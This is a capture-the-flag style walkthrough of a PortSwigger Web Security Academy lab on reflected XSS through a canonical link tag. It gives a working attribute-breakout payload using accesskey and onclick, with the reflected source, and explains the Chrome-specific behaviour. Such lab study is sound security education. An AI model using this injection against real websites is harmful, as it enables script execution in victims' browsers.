| Field | Value |
|---|---|
| Platform | PortSwigger Web Security Academy |
| Difficulty | Practitioner |
| Vulnerability | Reflected XSS — Attribute Injection in a Canonical Link Tag |
| Injection Point | href attribute inside <link rel="canonical"> |
| Goal | Trigger alert(0) via accesskey on a non-interactive element |
Lab — Reflected XSS: Attribute Injection in a Canonical Link Tag¶
Solution Walkthrough¶
Inspecting the page source reveals our input is reflected inside a <link> canonical tag:
<link rel="canonical" href='https://TARGET.web-security-academy.net/'/>
Adding a query parameter shows it's reflected directly into the href attribute:
/?teto
<link rel="canonical" href='https://TARGET.web-security-academy.net/?teto'/>
Step 1 — Break out of the href attribute¶
Injecting a single quote closes the href value:
/?'teto
<link rel="canonical" href='https://TARGET.web-security-academy.net/?'teto'/>
The attribute is broken — we can now inject new attributes.
Step 2 — Inject an accesskey and onclick handler¶
/?'accesskey='x'onclick='alert(0)
The resulting source:
<link rel="canonical" href='https://TARGET.web-security-academy.net/?'accesskey='x'onclick='alert(0)'/>
The accesskey='x' attribute and onclick='alert(0)' are injected into the <link> tag. The lab confirms this as solved :P
Why This is Unusual — XSS in a <link> Tag¶
This is a rare XSS context. <link> is a non-interactive element — users cannot click it, hover over it, or focus it in the normal sense. This is why <script> and typical event handlers like onmouseover or onerror are useless here.
accesskey is an HTML attribute that assigns a keyboard shortcut to any element — including non-interactive ones. When the user presses the defined key combination, the browser fires a click event on the element, which triggers onclick.
The lab tells us the simulated victim will press ALT+SHIFT+X, CTRL+ALT+X, or ALT+X — so setting accesskey='x' means one of those combinations will trigger the onclick handler.
The closing quote trick:
href='https://site.net/?'accesskey='x'onclick='alert(0)'/>
↑ original open ↑ we close ↑ injected attrs ↑ original close
The application's own '/> at the end of the tag closes our injected onclick='alert(0) — exactly the same pattern as the attribute injection labs.
This technique is Chrome-specific because Chrome handles accesskey on <link> elements differently from other browsers — Firefox and Safari do not fire click events on non-interactive elements via accesskey in the same way.